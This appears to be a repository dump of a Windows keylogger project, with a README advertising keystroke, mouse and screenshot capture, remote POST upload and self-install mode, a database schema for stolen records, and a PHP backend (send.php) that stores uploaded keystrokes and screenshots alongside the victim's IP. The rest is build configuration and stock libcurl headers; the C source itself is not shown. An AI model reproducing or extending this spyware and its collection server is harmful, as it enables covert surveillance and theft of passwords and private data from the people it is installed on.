├── libs
├── libz.a
├── libcurl.a
├── libgdi32.a
├── libws2_32.a
├── libwldap32.a
└── libwsock32.a
├── README.md
├── keylogger.sql
├── server
└── send.php
├── curl
├── stdcheaders.h
├── mprintf.h
├── Makefile.am
├── curlver.h
├── easy.h
├── curlbuild.h.in
├── curlbuild.h.cmake
├── curlrules.h
├── multi.h
├── curlbuild.h
├── Makefile.in
└── typecheck-gcc.h
├── keylogger.dev
└── keylogger.c
/libs/libz.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gianlucag/Keylogger/HEAD/libs/libz.a
--------------------------------------------------------------------------------
/libs/libcurl.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gianlucag/Keylogger/HEAD/libs/libcurl.a
--------------------------------------------------------------------------------
/libs/libgdi32.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gianlucag/Keylogger/HEAD/libs/libgdi32.a
--------------------------------------------------------------------------------
/libs/libws2_32.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gianlucag/Keylogger/HEAD/libs/libws2_32.a
--------------------------------------------------------------------------------
/libs/libwldap32.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gianlucag/Keylogger/HEAD/libs/libwldap32.a
--------------------------------------------------------------------------------
/libs/libwsock32.a:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gianlucag/Keylogger/HEAD/libs/libwsock32.a
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Keylogger
2 | Minimal keylogger written in C
3 |
4 | main features:
5 |
6 | * keystrokes, mouse events capture
7 | * screenshot capture as PNG file
8 | * remote POST upload
9 | * PHP backend included
10 | * self-install or normal mode
11 |
--------------------------------------------------------------------------------
/keylogger.sql:
--------------------------------------------------------------------------------
1 | CREATE TABLE IF NOT EXISTS `keylogger` (
2 | `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
3 | `ip` varchar(50) NOT NULL,
4 | `dat` datetime NOT NULL,
5 | `record` text,
6 | `screenshot` mediumblob,
7 | PRIMARY KEY (`id`)
8 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=80 ;
9 |
--------------------------------------------------------------------------------
/server/send.php:
--------------------------------------------------------------------------------
1 | prepare("INSERT INTO keylogger (ip, dat, record) VALUES (:ip, :dat, :record)");
14 | $stmt->bindParam(':ip', $ip);
15 | $stmt->bindParam(':dat', $dat);
16 | $stmt->bindParam(':record', $input);
17 | $stmt->execute();
18 | //file_put_contents("data.txt", $input, FILE_APPEND);
19 | }
20 |
21 | if(isset($_POST["image"]))
22 | {
23 | $input = $_POST["image"];
24 | //$file = fopen(time()."_image.png", 'wb');
25 |
26 | $blobImage = base64_decode($input);
27 |
28 | $stmt = $dbh->prepare("INSERT INTO keylogger (ip, dat, screenshot) VALUES (:ip, :dat, :screenshot)");
29 | $stmt->bindParam(':ip', $ip);
30 | $stmt->bindParam(':dat', $dat);
31 | $stmt->bindParam(':screenshot', $blobImage);
32 | $stmt->execute();
33 | //fwrite($file, $input);
34 | //fclose($file);
35 | }
36 | } catch (PDOException $e) {
37 | print "Error!: " . $e->getMessage() . "
";
38 | die();
39 | }
40 | ?>
41 |
--------------------------------------------------------------------------------
/curl/stdcheaders.h:
--------------------------------------------------------------------------------
1 | #ifndef __STDC_HEADERS_H
2 | #define __STDC_HEADERS_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2016, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 |
25 | #include
26 |
27 | size_t fread(void *, size_t, size_t, FILE *);
28 | size_t fwrite(const void *, size_t, size_t, FILE *);
29 |
30 | int strcasecmp(const char *, const char *);
31 | int strncasecmp(const char *, const char *, size_t);
32 |
33 | #endif /* __STDC_HEADERS_H */
34 |
--------------------------------------------------------------------------------
/keylogger.dev:
--------------------------------------------------------------------------------
1 | [Project]
2 | FileName=keylogger.dev
3 | Name=keylogger
4 | Type=0
5 | Ver=2
6 | ObjFiles=
7 | Includes=
8 | Libs=
9 | PrivateResource=
10 | ResourceIncludes=
11 | MakeIncludes=
12 | Compiler=-DCURL_STATICLIB_@@_
13 | CppCompiler=
14 | Linker=libs/libcurl.a_@@_libs/libwsock32.a_@@_libs/libz.a_@@_libs/libwldap32.a_@@_libs/libws2_32.a_@@_libs/libgdi32.a_@@_
15 | IsCpp=0
16 | Icon=
17 | ExeOutput=
18 | ObjectOutput=
19 | LogOutput=
20 | LogOutputEnabled=0
21 | OverrideOutput=0
22 | OverrideOutputName=keylogger.exe
23 | HostApplication=
24 | UseCustomMakefile=0
25 | CustomMakefile=
26 | CommandLine=
27 | Folders=
28 | IncludeVersionInfo=0
29 | SupportXPThemes=0
30 | CompilerSet=3
31 | CompilerSettings=0000000100000000000000000
32 | UnitCount=3
33 |
34 | [VersionInfo]
35 | Major=1
36 | Minor=0
37 | Release=0
38 | Build=0
39 | LanguageID=1033
40 | CharsetID=1252
41 | CompanyName=
42 | FileVersion=1.0.0.0
43 | FileDescription=Developed using the Dev-C++ IDE
44 | InternalName=
45 | LegalCopyright=
46 | LegalTrademarks=
47 | OriginalFilename=
48 | ProductName=
49 | ProductVersion=1.0.0.0
50 | AutoIncBuildNr=0
51 | SyncProduct=1
52 |
53 | [Unit1]
54 | FileName=keylogger.c
55 | CompileCpp=0
56 | Folder=
57 | Compile=1
58 | Link=1
59 | Priority=1000
60 | OverrideBuildCmd=0
61 | BuildCmd=
62 |
63 | [Unit2]
64 | FileName=lodepng.c
65 | CompileCpp=0
66 | Folder=
67 | Compile=1
68 | Link=1
69 | Priority=1000
70 | OverrideBuildCmd=0
71 | BuildCmd=
72 |
73 | [Unit3]
74 | FileName=lodepng.h
75 | CompileCpp=0
76 | Folder=
77 | Compile=1
78 | Link=1
79 | Priority=1000
80 | OverrideBuildCmd=0
81 | BuildCmd=
82 |
83 |
--------------------------------------------------------------------------------
/curl/mprintf.h:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_MPRINTF_H
2 | #define __CURL_MPRINTF_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2016, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 |
25 | #include
26 | #include /* needed for FILE */
27 | #include "curl.h" /* for CURL_EXTERN */
28 |
29 | #ifdef __cplusplus
30 | extern "C" {
31 | #endif
32 |
33 | CURL_EXTERN int curl_mprintf(const char *format, ...);
34 | CURL_EXTERN int curl_mfprintf(FILE *fd, const char *format, ...);
35 | CURL_EXTERN int curl_msprintf(char *buffer, const char *format, ...);
36 | CURL_EXTERN int curl_msnprintf(char *buffer, size_t maxlength,
37 | const char *format, ...);
38 | CURL_EXTERN int curl_mvprintf(const char *format, va_list args);
39 | CURL_EXTERN int curl_mvfprintf(FILE *fd, const char *format, va_list args);
40 | CURL_EXTERN int curl_mvsprintf(char *buffer, const char *format, va_list args);
41 | CURL_EXTERN int curl_mvsnprintf(char *buffer, size_t maxlength,
42 | const char *format, va_list args);
43 | CURL_EXTERN char *curl_maprintf(const char *format, ...);
44 | CURL_EXTERN char *curl_mvaprintf(const char *format, va_list args);
45 |
46 | #ifdef __cplusplus
47 | }
48 | #endif
49 |
50 | #endif /* __CURL_MPRINTF_H */
51 |
--------------------------------------------------------------------------------
/curl/Makefile.am:
--------------------------------------------------------------------------------
1 | #***************************************************************************
2 | # _ _ ____ _
3 | # Project ___| | | | _ \| |
4 | # / __| | | | |_) | |
5 | # | (__| |_| | _ <| |___
6 | # \___|\___/|_| \_\_____|
7 | #
8 | # Copyright (C) 1998 - 2011, Daniel Stenberg, , et al.
9 | #
10 | # This software is licensed as described in the file COPYING, which
11 | # you should have received as part of this distribution. The terms
12 | # are also available at https://curl.haxx.se/docs/copyright.html.
13 | #
14 | # You may opt to use, copy, modify, merge, publish, distribute and/or sell
15 | # copies of the Software, and permit persons to whom the Software is
16 | # furnished to do so, under the terms of the COPYING file.
17 | #
18 | # This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
19 | # KIND, either express or implied.
20 | #
21 | ###########################################################################
22 | pkginclude_HEADERS = \
23 | curl.h curlver.h easy.h mprintf.h stdcheaders.h multi.h \
24 | typecheck-gcc.h curlbuild.h curlrules.h
25 |
26 | pkgincludedir= $(includedir)/curl
27 |
28 | # curlbuild.h does not exist in the git tree. When the original libcurl
29 | # source code distribution archive file is created, curlbuild.h.dist is
30 | # renamed to curlbuild.h and included in the tarball so that it can be
31 | # used directly on non-configure systems.
32 | #
33 | # The distributed curlbuild.h will be overwritten on configure systems
34 | # when the configure script runs, with one that is suitable and specific
35 | # to the library being configured and built.
36 | #
37 | # curlbuild.h.in is the distributed template file from which the configure
38 | # script creates curlbuild.h at library configuration time, overwiting the
39 | # one included in the distribution archive.
40 | #
41 | # curlbuild.h.dist is not included in the source code distribution archive.
42 |
43 | EXTRA_DIST = curlbuild.h.in
44 |
45 | DISTCLEANFILES = curlbuild.h
46 |
47 | checksrc:
48 | @@PERL@ $(top_srcdir)/lib/checksrc.pl -Wcurlbuild.h -D$(top_srcdir)/include/curl $(pkginclude_HEADERS) $(EXTRA_DIST)
49 |
50 | if CURLDEBUG
51 | # for debug builds, we scan the sources on all regular make invokes
52 | all-local: checksrc
53 | endif
54 |
--------------------------------------------------------------------------------
/curl/curlver.h:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_CURLVER_H
2 | #define __CURL_CURLVER_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2016, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 |
25 | /* This header file contains nothing but libcurl version info, generated by
26 | a script at release-time. This was made its own header file in 7.11.2 */
27 |
28 | /* This is the global package copyright */
29 | #define LIBCURL_COPYRIGHT "1996 - 2016 Daniel Stenberg, ."
30 |
31 | /* This is the version number of the libcurl package from which this header
32 | file origins: */
33 | #define LIBCURL_VERSION "7.52.1"
34 |
35 | /* The numeric version number is also available "in parts" by using these
36 | defines: */
37 | #define LIBCURL_VERSION_MAJOR 7
38 | #define LIBCURL_VERSION_MINOR 52
39 | #define LIBCURL_VERSION_PATCH 1
40 |
41 | /* This is the numeric version of the libcurl version number, meant for easier
42 | parsing and comparions by programs. The LIBCURL_VERSION_NUM define will
43 | always follow this syntax:
44 |
45 | 0xXXYYZZ
46 |
47 | Where XX, YY and ZZ are the main version, release and patch numbers in
48 | hexadecimal (using 8 bits each). All three numbers are always represented
49 | using two digits. 1.2 would appear as "0x010200" while version 9.11.7
50 | appears as "0x090b07".
51 |
52 | This 6-digit (24 bits) hexadecimal number does not show pre-release number,
53 | and it is always a greater number in a more recent release. It makes
54 | comparisons with greater than and less than work.
55 |
56 | Note: This define is the full hex number and _does not_ use the
57 | CURL_VERSION_BITS() macro since curl's own configure script greps for it
58 | and needs it to contain the full number.
59 | */
60 | #define LIBCURL_VERSION_NUM 0x073401
61 |
62 | /*
63 | * This is the date and time when the full source package was created. The
64 | * timestamp is not stored in git, as the timestamp is properly set in the
65 | * tarballs by the maketgz script.
66 | *
67 | * The format of the date should follow this template:
68 | *
69 | * "Mon Feb 12 11:35:33 UTC 2007"
70 | */
71 | #define LIBCURL_TIMESTAMP "Fri Dec 23 07:22:31 UTC 2016"
72 |
73 | #define CURL_VERSION_BITS(x,y,z) ((x)<<16|(y)<<8|z)
74 | #define CURL_AT_LEAST_VERSION(x,y,z) \
75 | (LIBCURL_VERSION_NUM >= CURL_VERSION_BITS(x, y, z))
76 |
77 | #endif /* __CURL_CURLVER_H */
78 |
--------------------------------------------------------------------------------
/curl/easy.h:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_EASY_H
2 | #define __CURL_EASY_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2016, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 | #ifdef __cplusplus
25 | extern "C" {
26 | #endif
27 |
28 | CURL_EXTERN CURL *curl_easy_init(void);
29 | CURL_EXTERN CURLcode curl_easy_setopt(CURL *curl, CURLoption option, ...);
30 | CURL_EXTERN CURLcode curl_easy_perform(CURL *curl);
31 | CURL_EXTERN void curl_easy_cleanup(CURL *curl);
32 |
33 | /*
34 | * NAME curl_easy_getinfo()
35 | *
36 | * DESCRIPTION
37 | *
38 | * Request internal information from the curl session with this function. The
39 | * third argument MUST be a pointer to a long, a pointer to a char * or a
40 | * pointer to a double (as the documentation describes elsewhere). The data
41 | * pointed to will be filled in accordingly and can be relied upon only if the
42 | * function returns CURLE_OK. This function is intended to get used *AFTER* a
43 | * performed transfer, all results from this function are undefined until the
44 | * transfer is completed.
45 | */
46 | CURL_EXTERN CURLcode curl_easy_getinfo(CURL *curl, CURLINFO info, ...);
47 |
48 |
49 | /*
50 | * NAME curl_easy_duphandle()
51 | *
52 | * DESCRIPTION
53 | *
54 | * Creates a new curl session handle with the same options set for the handle
55 | * passed in. Duplicating a handle could only be a matter of cloning data and
56 | * options, internal state info and things like persistent connections cannot
57 | * be transferred. It is useful in multithreaded applications when you can run
58 | * curl_easy_duphandle() for each new thread to avoid a series of identical
59 | * curl_easy_setopt() invokes in every thread.
60 | */
61 | CURL_EXTERN CURL *curl_easy_duphandle(CURL *curl);
62 |
63 | /*
64 | * NAME curl_easy_reset()
65 | *
66 | * DESCRIPTION
67 | *
68 | * Re-initializes a CURL handle to the default values. This puts back the
69 | * handle to the same state as it was in when it was just created.
70 | *
71 | * It does keep: live connections, the Session ID cache, the DNS cache and the
72 | * cookies.
73 | */
74 | CURL_EXTERN void curl_easy_reset(CURL *curl);
75 |
76 | /*
77 | * NAME curl_easy_recv()
78 | *
79 | * DESCRIPTION
80 | *
81 | * Receives data from the connected socket. Use after successful
82 | * curl_easy_perform() with CURLOPT_CONNECT_ONLY option.
83 | */
84 | CURL_EXTERN CURLcode curl_easy_recv(CURL *curl, void *buffer, size_t buflen,
85 | size_t *n);
86 |
87 | /*
88 | * NAME curl_easy_send()
89 | *
90 | * DESCRIPTION
91 | *
92 | * Sends data over the connected socket. Use after successful
93 | * curl_easy_perform() with CURLOPT_CONNECT_ONLY option.
94 | */
95 | CURL_EXTERN CURLcode curl_easy_send(CURL *curl, const void *buffer,
96 | size_t buflen, size_t *n);
97 |
98 | #ifdef __cplusplus
99 | }
100 | #endif
101 |
102 | #endif
103 |
--------------------------------------------------------------------------------
/curl/curlbuild.h.in:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_CURLBUILD_H
2 | #define __CURL_CURLBUILD_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2012, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 |
25 | /* ================================================================ */
26 | /* NOTES FOR CONFIGURE CAPABLE SYSTEMS */
27 | /* ================================================================ */
28 |
29 | /*
30 | * NOTE 1:
31 | * -------
32 | *
33 | * Nothing in this file is intended to be modified or adjusted by the
34 | * curl library user nor by the curl library builder.
35 | *
36 | * If you think that something actually needs to be changed, adjusted
37 | * or fixed in this file, then, report it on the libcurl development
38 | * mailing list: https://cool.haxx.se/mailman/listinfo/curl-library/
39 | *
40 | * This header file shall only export symbols which are 'curl' or 'CURL'
41 | * prefixed, otherwise public name space would be polluted.
42 | *
43 | * NOTE 2:
44 | * -------
45 | *
46 | * Right now you might be staring at file include/curl/curlbuild.h.in or
47 | * at file include/curl/curlbuild.h, this is due to the following reason:
48 | *
49 | * On systems capable of running the configure script, the configure process
50 | * will overwrite the distributed include/curl/curlbuild.h file with one that
51 | * is suitable and specific to the library being configured and built, which
52 | * is generated from the include/curl/curlbuild.h.in template file.
53 | *
54 | */
55 |
56 | /* ================================================================ */
57 | /* DEFINITION OF THESE SYMBOLS SHALL NOT TAKE PLACE ANYWHERE ELSE */
58 | /* ================================================================ */
59 |
60 | #ifdef CURL_SIZEOF_LONG
61 | #error "CURL_SIZEOF_LONG shall not be defined except in curlbuild.h"
62 | Error Compilation_aborted_CURL_SIZEOF_LONG_already_defined
63 | #endif
64 |
65 | #ifdef CURL_TYPEOF_CURL_SOCKLEN_T
66 | #error "CURL_TYPEOF_CURL_SOCKLEN_T shall not be defined except in curlbuild.h"
67 | Error Compilation_aborted_CURL_TYPEOF_CURL_SOCKLEN_T_already_defined
68 | #endif
69 |
70 | #ifdef CURL_SIZEOF_CURL_SOCKLEN_T
71 | #error "CURL_SIZEOF_CURL_SOCKLEN_T shall not be defined except in curlbuild.h"
72 | Error Compilation_aborted_CURL_SIZEOF_CURL_SOCKLEN_T_already_defined
73 | #endif
74 |
75 | #ifdef CURL_TYPEOF_CURL_OFF_T
76 | #error "CURL_TYPEOF_CURL_OFF_T shall not be defined except in curlbuild.h"
77 | Error Compilation_aborted_CURL_TYPEOF_CURL_OFF_T_already_defined
78 | #endif
79 |
80 | #ifdef CURL_FORMAT_CURL_OFF_T
81 | #error "CURL_FORMAT_CURL_OFF_T shall not be defined except in curlbuild.h"
82 | Error Compilation_aborted_CURL_FORMAT_CURL_OFF_T_already_defined
83 | #endif
84 |
85 | #ifdef CURL_FORMAT_CURL_OFF_TU
86 | #error "CURL_FORMAT_CURL_OFF_TU shall not be defined except in curlbuild.h"
87 | Error Compilation_aborted_CURL_FORMAT_CURL_OFF_TU_already_defined
88 | #endif
89 |
90 | #ifdef CURL_FORMAT_OFF_T
91 | #error "CURL_FORMAT_OFF_T shall not be defined except in curlbuild.h"
92 | Error Compilation_aborted_CURL_FORMAT_OFF_T_already_defined
93 | #endif
94 |
95 | #ifdef CURL_SIZEOF_CURL_OFF_T
96 | #error "CURL_SIZEOF_CURL_OFF_T shall not be defined except in curlbuild.h"
97 | Error Compilation_aborted_CURL_SIZEOF_CURL_OFF_T_already_defined
98 | #endif
99 |
100 | #ifdef CURL_SUFFIX_CURL_OFF_T
101 | #error "CURL_SUFFIX_CURL_OFF_T shall not be defined except in curlbuild.h"
102 | Error Compilation_aborted_CURL_SUFFIX_CURL_OFF_T_already_defined
103 | #endif
104 |
105 | #ifdef CURL_SUFFIX_CURL_OFF_TU
106 | #error "CURL_SUFFIX_CURL_OFF_TU shall not be defined except in curlbuild.h"
107 | Error Compilation_aborted_CURL_SUFFIX_CURL_OFF_TU_already_defined
108 | #endif
109 |
110 | /* ================================================================ */
111 | /* EXTERNAL INTERFACE SETTINGS FOR CONFIGURE CAPABLE SYSTEMS ONLY */
112 | /* ================================================================ */
113 |
114 | /* Configure process defines this to 1 when it finds out that system */
115 | /* header file ws2tcpip.h must be included by the external interface. */
116 | #undef CURL_PULL_WS2TCPIP_H
117 | #ifdef CURL_PULL_WS2TCPIP_H
118 | # ifndef WIN32_LEAN_AND_MEAN
119 | # define WIN32_LEAN_AND_MEAN
120 | # endif
121 | # include
122 | # include
123 | # include
124 | #endif
125 |
126 | /* Configure process defines this to 1 when it finds out that system */
127 | /* header file sys/types.h must be included by the external interface. */
128 | #undef CURL_PULL_SYS_TYPES_H
129 | #ifdef CURL_PULL_SYS_TYPES_H
130 | # include
131 | #endif
132 |
133 | /* Configure process defines this to 1 when it finds out that system */
134 | /* header file stdint.h must be included by the external interface. */
135 | #undef CURL_PULL_STDINT_H
136 | #ifdef CURL_PULL_STDINT_H
137 | # include
138 | #endif
139 |
140 | /* Configure process defines this to 1 when it finds out that system */
141 | /* header file inttypes.h must be included by the external interface. */
142 | #undef CURL_PULL_INTTYPES_H
143 | #ifdef CURL_PULL_INTTYPES_H
144 | # include
145 | #endif
146 |
147 | /* Configure process defines this to 1 when it finds out that system */
148 | /* header file sys/socket.h must be included by the external interface. */
149 | #undef CURL_PULL_SYS_SOCKET_H
150 | #ifdef CURL_PULL_SYS_SOCKET_H
151 | # include
152 | #endif
153 |
154 | /* Configure process defines this to 1 when it finds out that system */
155 | /* header file sys/poll.h must be included by the external interface. */
156 | #undef CURL_PULL_SYS_POLL_H
157 | #ifdef CURL_PULL_SYS_POLL_H
158 | # include
159 | #endif
160 |
161 | /* The size of `long', as computed by sizeof. */
162 | #undef CURL_SIZEOF_LONG
163 |
164 | /* Integral data type used for curl_socklen_t. */
165 | #undef CURL_TYPEOF_CURL_SOCKLEN_T
166 |
167 | /* The size of `curl_socklen_t', as computed by sizeof. */
168 | #undef CURL_SIZEOF_CURL_SOCKLEN_T
169 |
170 | /* Data type definition of curl_socklen_t. */
171 | typedef CURL_TYPEOF_CURL_SOCKLEN_T curl_socklen_t;
172 |
173 | /* Signed integral data type used for curl_off_t. */
174 | #undef CURL_TYPEOF_CURL_OFF_T
175 |
176 | /* Data type definition of curl_off_t. */
177 | typedef CURL_TYPEOF_CURL_OFF_T curl_off_t;
178 |
179 | /* curl_off_t formatting string directive without "%" conversion specifier. */
180 | #undef CURL_FORMAT_CURL_OFF_T
181 |
182 | /* unsigned curl_off_t formatting string without "%" conversion specifier. */
183 | #undef CURL_FORMAT_CURL_OFF_TU
184 |
185 | /* curl_off_t formatting string directive with "%" conversion specifier. */
186 | #undef CURL_FORMAT_OFF_T
187 |
188 | /* The size of `curl_off_t', as computed by sizeof. */
189 | #undef CURL_SIZEOF_CURL_OFF_T
190 |
191 | /* curl_off_t constant suffix. */
192 | #undef CURL_SUFFIX_CURL_OFF_T
193 |
194 | /* unsigned curl_off_t constant suffix. */
195 | #undef CURL_SUFFIX_CURL_OFF_TU
196 |
197 | #endif /* __CURL_CURLBUILD_H */
198 |
--------------------------------------------------------------------------------
/curl/curlbuild.h.cmake:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_CURLBUILD_H
2 | #define __CURL_CURLBUILD_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2008, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 |
25 | /* ================================================================ */
26 | /* NOTES FOR CONFIGURE CAPABLE SYSTEMS */
27 | /* ================================================================ */
28 |
29 | /*
30 | * NOTE 1:
31 | * -------
32 | *
33 | * Nothing in this file is intended to be modified or adjusted by the
34 | * curl library user nor by the curl library builder.
35 | *
36 | * If you think that something actually needs to be changed, adjusted
37 | * or fixed in this file, then, report it on the libcurl development
38 | * mailing list: https://cool.haxx.se/mailman/listinfo/curl-library/
39 | *
40 | * This header file shall only export symbols which are 'curl' or 'CURL'
41 | * prefixed, otherwise public name space would be polluted.
42 | *
43 | * NOTE 2:
44 | * -------
45 | *
46 | * Right now you might be staring at file include/curl/curlbuild.h.in or
47 | * at file include/curl/curlbuild.h, this is due to the following reason:
48 | *
49 | * On systems capable of running the configure script, the configure process
50 | * will overwrite the distributed include/curl/curlbuild.h file with one that
51 | * is suitable and specific to the library being configured and built, which
52 | * is generated from the include/curl/curlbuild.h.in template file.
53 | *
54 | */
55 |
56 | /* ================================================================ */
57 | /* DEFINITION OF THESE SYMBOLS SHALL NOT TAKE PLACE ANYWHERE ELSE */
58 | /* ================================================================ */
59 |
60 | #ifdef CURL_SIZEOF_LONG
61 | #error "CURL_SIZEOF_LONG shall not be defined except in curlbuild.h"
62 | Error Compilation_aborted_CURL_SIZEOF_LONG_already_defined
63 | #endif
64 |
65 | #ifdef CURL_TYPEOF_CURL_SOCKLEN_T
66 | #error "CURL_TYPEOF_CURL_SOCKLEN_T shall not be defined except in curlbuild.h"
67 | Error Compilation_aborted_CURL_TYPEOF_CURL_SOCKLEN_T_already_defined
68 | #endif
69 |
70 | #ifdef CURL_SIZEOF_CURL_SOCKLEN_T
71 | #error "CURL_SIZEOF_CURL_SOCKLEN_T shall not be defined except in curlbuild.h"
72 | Error Compilation_aborted_CURL_SIZEOF_CURL_SOCKLEN_T_already_defined
73 | #endif
74 |
75 | #ifdef CURL_TYPEOF_CURL_OFF_T
76 | #error "CURL_TYPEOF_CURL_OFF_T shall not be defined except in curlbuild.h"
77 | Error Compilation_aborted_CURL_TYPEOF_CURL_OFF_T_already_defined
78 | #endif
79 |
80 | #ifdef CURL_FORMAT_CURL_OFF_T
81 | #error "CURL_FORMAT_CURL_OFF_T shall not be defined except in curlbuild.h"
82 | Error Compilation_aborted_CURL_FORMAT_CURL_OFF_T_already_defined
83 | #endif
84 |
85 | #ifdef CURL_FORMAT_CURL_OFF_TU
86 | #error "CURL_FORMAT_CURL_OFF_TU shall not be defined except in curlbuild.h"
87 | Error Compilation_aborted_CURL_FORMAT_CURL_OFF_TU_already_defined
88 | #endif
89 |
90 | #ifdef CURL_FORMAT_OFF_T
91 | #error "CURL_FORMAT_OFF_T shall not be defined except in curlbuild.h"
92 | Error Compilation_aborted_CURL_FORMAT_OFF_T_already_defined
93 | #endif
94 |
95 | #ifdef CURL_SIZEOF_CURL_OFF_T
96 | #error "CURL_SIZEOF_CURL_OFF_T shall not be defined except in curlbuild.h"
97 | Error Compilation_aborted_CURL_SIZEOF_CURL_OFF_T_already_defined
98 | #endif
99 |
100 | #ifdef CURL_SUFFIX_CURL_OFF_T
101 | #error "CURL_SUFFIX_CURL_OFF_T shall not be defined except in curlbuild.h"
102 | Error Compilation_aborted_CURL_SUFFIX_CURL_OFF_T_already_defined
103 | #endif
104 |
105 | #ifdef CURL_SUFFIX_CURL_OFF_TU
106 | #error "CURL_SUFFIX_CURL_OFF_TU shall not be defined except in curlbuild.h"
107 | Error Compilation_aborted_CURL_SUFFIX_CURL_OFF_TU_already_defined
108 | #endif
109 |
110 | /* ================================================================ */
111 | /* EXTERNAL INTERFACE SETTINGS FOR CONFIGURE CAPABLE SYSTEMS ONLY */
112 | /* ================================================================ */
113 |
114 | /* Configure process defines this to 1 when it finds out that system */
115 | /* header file ws2tcpip.h must be included by the external interface. */
116 | #cmakedefine CURL_PULL_WS2TCPIP_H
117 | #ifdef CURL_PULL_WS2TCPIP_H
118 | # ifndef WIN32_LEAN_AND_MEAN
119 | # define WIN32_LEAN_AND_MEAN
120 | # endif
121 | # include
122 | # include
123 | # include
124 | #endif
125 |
126 | /* Configure process defines this to 1 when it finds out that system */
127 | /* header file sys/types.h must be included by the external interface. */
128 | #cmakedefine CURL_PULL_SYS_TYPES_H
129 | #ifdef CURL_PULL_SYS_TYPES_H
130 | # include
131 | #endif
132 |
133 | /* Configure process defines this to 1 when it finds out that system */
134 | /* header file stdint.h must be included by the external interface. */
135 | #cmakedefine CURL_PULL_STDINT_H
